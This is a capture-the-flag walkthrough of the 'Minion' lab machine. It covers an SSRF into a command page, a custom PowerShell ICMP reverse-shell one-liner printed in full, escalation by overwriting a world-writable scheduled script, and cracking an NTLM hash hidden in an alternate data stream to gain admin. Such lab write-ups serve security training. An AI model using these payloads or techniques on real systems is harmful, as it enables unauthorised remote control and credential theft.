Minion write-up by Alamot

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.57

Starting masscan 1.0.4 
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 62696/tcp on 10.10.10.57                                  
rate:  0.00-kpps, 100.00% done, waiting 3-secs, found=1

We found TCP port 62696 open. Let’s explore it using nmap:

$ sudo nmap -A -p62696 10.10.10.57
Starting Nmap 7.70 ( https://nmap.org ) 
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 100.00% done; ETC: 18:14 (0:00:00 remaining)
Nmap scan report for 10.10.10.57
Host is up (0.088s latency).

PORT      STATE SERVICE VERSION
62696/tcp open  http    Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry 
|_/backend
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|7 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_7::-:professional
Aggressive OS guesses: Microsoft Windows Server 2012 (90%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (90%), Microsoft Windows Server 2012 R2 (90%), Microsoft Windows 7 Professional (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Brute forcing directories and files

$ dirsearch -u http://10.10.10.57:62696 -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e asp,aspx -x 400 

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: asp, aspx | Threads: 10 | Wordlist size: 661562

Target: http://10.10.10.57:62696

[19:22:48] Starting: 
[19:22:59] 200 -   41B  - /test.asp
[19:23:01] 200 -   20B  - /backend/
[19:25:27] 200 -   41B  - /Test.asp
...

Let’s explore http://10.10.10.57:62696/test.asp:

Missing Parameter Url [u] in GET request!

Interesting. It asks for a “u” parameter. Maybe “u” means URL. Let’s try http://10.10.10.57:62696/test.asp?u=http://127.0.0.1 (i.e. localhost):

<html>
<body>
<center>
<h1>Site Administration</h1>
<table border=1>
<tr><td><a href="">Edit Configuration</a>
<tr><td><a href="">Start/Stop Instance</a>
<tr><td><a href="">View Summary</a>
<tr><td><a href="">View Logs</a>
<tr><td><a href="http://127.0.0.1/cmd.aspx">system commands</a>
</table>
</body>
</html>

Bingo! This “cmd.aspx” looks very promising… Let’s visit http://10.10.10.57:62696/Test.asp?u=http://127.0.0.1:80/cmd.aspx:

<html>
<body>

<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40>
</form>

</body>
</html>

Hmmmm… The method is POST and the parameter is named “xcmd”. Nevertheless, let’s make an experiment. We are going to use the GET method and pass the xcmd parameter via the URL. We will set the xcmd = ping -n 3 10.10.14.161:

http://10.10.10.57:62696/Test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=ping%20-n%203%2010.10.14.161

On our side, let’s see if we capture any pings coming from MINION (10.10.10.57):

$ tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
18:54:11.348673 IP 10.10.10.57 > 10.10.14.161: ICMP echo request, id 2, seq 14290, length 40
18:54:11.348681 IP 10.10.14.161 > 10.10.10.57: ICMP echo reply, id 2, seq 14290, length 40
18:54:12.357469 IP 10.10.10.57 > 10.10.14.161: ICMP echo request, id 2, seq 14301, length 40
18:54:12.357476 IP 10.10.14.161 > 10.10.10.57: ICMP echo reply, id 2, seq 14301, length 40
18:54:13.343092 IP 10.10.10.57 > 10.10.14.161: ICMP echo request, id 2, seq 14310, length 40
18:54:13.343100 IP 10.10.14.161 > 10.10.10.57: ICMP echo reply, id 2, seq 14310, length 40

It’s working! :smiley:

Getting shell

It’s time for us to get a shell. On our side we can run icmpsh_m.py from GitHub - bdamele/icmpsh: Simple reverse ICMP shell and on MINION we can send this payload: nishang/Invoke-PowerShellIcmp.ps1 at master · samratashok/nishang · GitHub
The problem is that if we try to send this payload via the xcmd paremeter some symbols are getting filtered (“+”, “&”, “/”) and there is also a size limit. We can double url-encode the special symbols to pass them through. We can also use multiple “echo >>” commands to write a ps1 script file and indeed many guys followed that path. But I chose a different way. Just for fun, I wrote my own -very compact- one-liner payload without using any “+”,“&” symbols:

$ip = 'LHOST'; $id = 'UNIQUEID'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment=$true; function s($b) { $ic.Send($ip,5000,([text.encoding]::ASCII).GetBytes($b),$po) }; function p { -join($id,'[P$] ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') }; while ($true) { $r = s(p); if (!$r.Buffer) { continue; }; $rs = ([text.encoding]::ASCII).GetString($r.Buffer);  if ($rs.Substring(0,8) -ne $id) { exit }; try { $rt = (iex -Command $rs.Substring(8) | Out-String); } catch { $rt = ($_.Exception|out-string) }; $i=0; while ($i -lt $rt.length-110) { s(-join($id,$rt.Substring($i,110))); $i -= -110; }; s(-join($id,$rt.Substring($i))); }

You can see I did some tricks like using $i -= -110 instead of $i += 110 etc. My script has a feature of unique ids, because -when using the ICMP protocol- things can get quite messy if multiple payloads are running simultaneously. You can download my script from here: code-snippets/icmp_alamot.py at master · Alamot/code-snippets · GitHub


Now, let’s get a shell (don’t forget to change LHOST inside the script):

$ sudo python2 icmp_alamot.py

Sending powershell ICMP payload [UID=35cfb54c] and waiting for shell...
[P$] apppool\defaultapppool@MINION inetsrv> ls C:\   

    Directory: C:\

Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
d----          9/4/2017   7:42 PM            accesslogs                        
d----         8/10/2017  10:43 AM            inetpub                           
d----         3/28/2018   6:31 AM            Microsoft                         
d----         8/22/2013   8:52 AM            PerfLogs                          
d-r--         9/25/2017   1:51 AM            Program Files                     
d----         8/10/2017   9:42 AM            Program Files (x86)               
d----         8/24/2017   1:28 AM            sysadmscripts                     
d----         3/28/2018   8:51 AM            temp                              
d-r--          9/4/2017   7:41 PM            Users                             
d----         9/10/2017  10:20 AM            Windows

Getting decoder

The folder sysadmscripts seems interesting:

[P$] apppool\defaultapppool@MINION inetsrv> ls C:\sysadmscripts

    Directory: C:\sysadmscripts

Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         3/28/2018   8:47 AM        176 c.ps1                             
-a---         8/22/2017  10:46 AM        263 del_logs.bat                      

Let’s see the contents of del_logs.bat:

[P$] apppool\defaultapppool@MINION inetsrv> cat C:\sysadmscripts\del_logs.bat

@echo off
echo %DATE% %TIME% start job >> c:\windows\temp\log.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs 
echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt

We can’t read this c:\windows\temp\log.txt but if we do a dir in different times we can see that its LastWriteTime changes every 5 minutes.

[P$] apppool\defaultapppool@MINION inetsrv> dir c:\windows\temp\log.txt


    Directory: C:\windows\temp


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         4/10/2018  12:01 PM     197511 log.txt                           

Let’s examine the permissions in the sysadmscripts folder:

[P$] apppool\defaultapppool@MINION sysadmscripts> ls | get-acl | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\sysadmscripts\c.ps1
Owner  : BUILTIN\Administrators
Group  : MINION\None
Access : Everyone Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  FullControl
Audit  : 
Sddl   : O:BAG:S-1-5-21-2506507270-770315343-2455145413-513D:PAI(A;;FA;;;WD)(A;
         ;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;BU)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\sysadmscripts\del_logs.bat
Owner  : BUILTIN\Administrators
Group  : MINION\None
Access : Everyone Allow  ReadAndExecute, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
Audit  : 
Sddl   : O:BAG:S-1-5-21-2506507270-770315343-2455145413-513D:PAI(A;;0x1200a9;;;
         WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;BU)

User decoder runs the script c.ps1 every 5 minutes and we can overwrite it with our own payload. The problem is that in a multi-user, multi-hacker environment everyone else can (and want to) do the same. So, we have to be very patient and very lucky to succeed. Moreover, sometimes the MINION box is quite laggy even after a fresh reset. I don’t know why this happens. So, let’s be patient and hope our c.ps1 payload will not be overwritten till it is executed.


Inside icmp_alamot.py, I have coded some extra features:

# > UPLOAD local_path remote_path
#   (to upload a file using the HTTP protocol via xcmd, "echo >>" commands and
#    base64 encoding/decoding)
#   e.g. > UPLOAD myfile.txt C:\temp\myfile.txt
#
# > DOWNLOAD remote_path
#   (to download a file using the ICMP protocol and base64 encoding/decoding)
#    e.g. > DOWNLOAD C:\temp\myfile.txt
#
# > DECODER (to get user decoder)
#
# > ADMIN (to get user admin)

If you are curious have a look in the code. The command DECODER I have coded uses HTTP to upload our payload in c:\sysadmscripts\c.ps1:

[P$] iis apppool\defaultapppool@MINION inetsrv> DECODER
Uploading c.ps1 to c:\sysadmscripts\c.ps1
MD5 hash: 9e860b7e4773f394c7aa9be5b88b7cfc
Data Length: 976 bytes
100%|█████████████████████████████████████████████████████████████████████████| 990/990 [00:01<00:00, 795.59bytes/s]
Waiting for decoder shell...
[P$] minion\decoder@MINION system32> whoami
minion\decoder

Getting Admin

There is a backup.zip in the folder C:\users\decoder.MINION\Desktop:

[P$] minion\decoder@MINION system32> cd C:\users\decoder.MINION\Desktop
[P$] minion\decoder@MINION Desktop> ls


    Directory: C:\users\decoder.MINION\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---          9/4/2017   7:19 PM     103297 backup.zip                        
-a---         8/25/2017  11:09 AM         33 user.txt                          

We can unzip the backup.zip using powershell commands:

Add-Type -AssemblyName System.IO.Compression.FileSystem; function Unzip { param([string]$zipfile, [string]$outpath); [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath); }; Unzip "C:\Users\decoder.MINION\Desktop\backup.zip" "C:\temp\unzip"

But we are not gonna find anything useful inside this zip archive. But do you know/remember ADS (Alternate Data Streams)? Let’s have a look:

[P$] minion\decoder@MINION Desktop> cmd /C dir /Q /R
 Volume in drive C has no label.
 Volume Serial Number is 143B-1804

 Directory of C:\users\decoder.MINION\Desktop

09/22/20017  04:43 PM    <DIR>          MINION\decoder         .
09/22/2017  04:43 PM    <DIR>          NT AUTHORITY\SYSTEM    ..
09/044/2017  07:19 PM           103,297 BUILTIN\Administrators backup.zip
                                    34                         backup.zip:pass:$DATA
08/25/2017  11:09 AM                33 BUILTIN\Administrators user.txt

I like the old cmd command dir /Q /R because it is brief and it shows very concisely the owners (/Q) and the ADS (/R). But If you want, you can see the ADS using Powershell too:

[P$] minion\decoder@MINION Desktop> Get-Item -Path c:\users\decoder.MINION\Desktop\backup.zip -stream *

   FileName: C:\users\decoder.MINION\Desktop\backup.zip

Stream                   Length
------                   ------

:$DATA                   103297
pass                         34

Let’s read this ADS:

[P$] minion\decoder@MINION Desktop> type c:\users\decoder.MINION\Desktop\backup.zip:pass
28a5d1e0c15af9f8fce7db65d75bbf17

We found a hash. Let’s discover its type:

$ hashid 28a5d1e0c15af9f8fce7db65d75bbf17
Analyzing '28a5d1e0c15af9f8fce7db65d75bbf17'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 

We are in a Windows environment, so it’s probably NTLM. Let’s reverse this hash:

$ hashcat -h | grep NTLM
   ... 
   1000 | NTLM                                             | Operating Systems

$ hashcat -a0 -m 1000 28a5d1e0c15af9f8fce7db65d75bbf17 /usr/share/dict/rockyou.txt 
...
28a5d1e0c15af9f8fce7db65d75bbf17:1234test
...

If we try it, we are gonna find that this is the administrator password. We can execute commands as administrator like this:

$user = '.\administrator'; $passwd = '1234test'; $secpswd = ConvertTo-SecureString $passwd -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $user, $secpswd; invoke-command -computername localhost -credential $credential -scriptblock { COMMANDS }

The way I used to get an admin shell is by replicating my ICMP powershell payload inside the scriptblock:

$user = '.\administrator'; $passwd = '1234test'; $secpswd = ConvertTo-SecureString $passwd -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $user, $secpswd; invoke-command -computername localhost -credential $credential -scriptblock { $ip = 'LHOST'; $id = 'UNIQUEID'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment=$true; function s($b) { $ic.Send($ip,5000,([text.encoding]::ASCII).GetBytes($b),$po) }; function p { -join($id,'[P$] ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') }; while ($true) { $r = s(p); if (!$r.Buffer) { continue; }; $rs = ([text.encoding]::ASCII).GetString($r.Buffer);  if ($rs.Substring(0,8) -ne $id) { exit }; try { $rt = (iex -Command $rs.Substring(8) | Out-String); } catch { $rt = ($_.Exception|out-string) }; $i=0; while ($i -lt $rt.length-110) { s(-join($id,$rt.Substring($i,110))); $i -= -110; }; s(-join($id,$rt.Substring($i))); } }

Again, I have automated this procedure inside my script. So getting admin is a simple as typing “ADMIN” :stuck_out_tongue:

[P$] minion\decoder@MINION Desktop> ADMIN
[P$] minion\administrator@MINION Documents> whoami
minion\administrator
[P$] minion\administrator@MINION Documents> cd ..\Desktop
[P$] minion\administrator@MINION Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         9/26/2017   6:18 AM     386479 root.exe                          
-a---         8/24/2017  12:32 AM         76 root.txt

[P$] minion\administrator@MINION Desktop> cat root.txt
In order to get the flag you have to launch root.exe located in this folder!

Well, we can get the root flag by executing .\root.exe or C:\Users\Administrator\Desktop\root.exe. If this doesn’t print the flag try using cmd (sometimes I had problems to print the flag and the cmd way is what worked for me):

[P$] minion\administrator@MINION Desktop> .\root.exe
25afc18b756db15085428015928a1cf1

[P$] minion\administrator@MINION Desktop> C:\Users\Administrator\Desktop\root.exe
25afc18b756db15085428015928a1cf1

[P$] minion\administrator@MINION Desktop> cmd /c 'root.exe'
25afc18b756db15085428015928a1cf1

The reason for an executable root.exe instead of a root.txt is to force us to impersonate the Administrator instead of doing, for example, something like this:

net use I: \\10.10.10.57\C$  /user:administrator "1234test"
type I:\Users\Administrator\Desktop\root.txt

Now that we are admins, let’s explore a little that scheduled task:

[P$] minion\administrator@MINION Desktop> cat c:\windows\temp\log.txt
...
Wed 09/06/2017 17:41:16.01 start job 
Wed 09/06/2017 17:46:16.01 start job 
Wed 09/06/2017 17:51:16.03 start job 
...

[P$] minion\administrator@MINION Desktop> Get-ScheduledTask | Where State -ne "Disabled" | Select TaskName
...
delete_logs
...

[P$] minion\administrator@MINION Desktop> Get-ScheduledTask | Where TaskName -eq "delete_logs" | Get-ScheduledTaskInfo
LastRunTime        : 10/14/2017 12:11:11 AM
LastTaskResult     : 0
NextRunTime        : 10/14/2017 12:16:16 AM
NumberOfMissedRuns : 0
TaskName           : delete_logs
TaskPath           : \
PSComputerName     : 

[P$] minion\administrator@MINION Desktop> Export-ScheduledTask -Taskname delete_logs
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2017-08-10T16:36:36.2851262</Date>
    <Author>WIN-2RTO3C7989S\Administrator</Author>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT5M</Interval>
        <Duration>P1D</Duration>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2017-08-10T16:36:16.9925913</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
      <UserId>decoder</UserId>
      <LogonType>Password</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\sysadmscripts\del_logs.bat</Command>
    </Exec>
  </Actions>
</Task>

Thal’s all folks :slight_smile: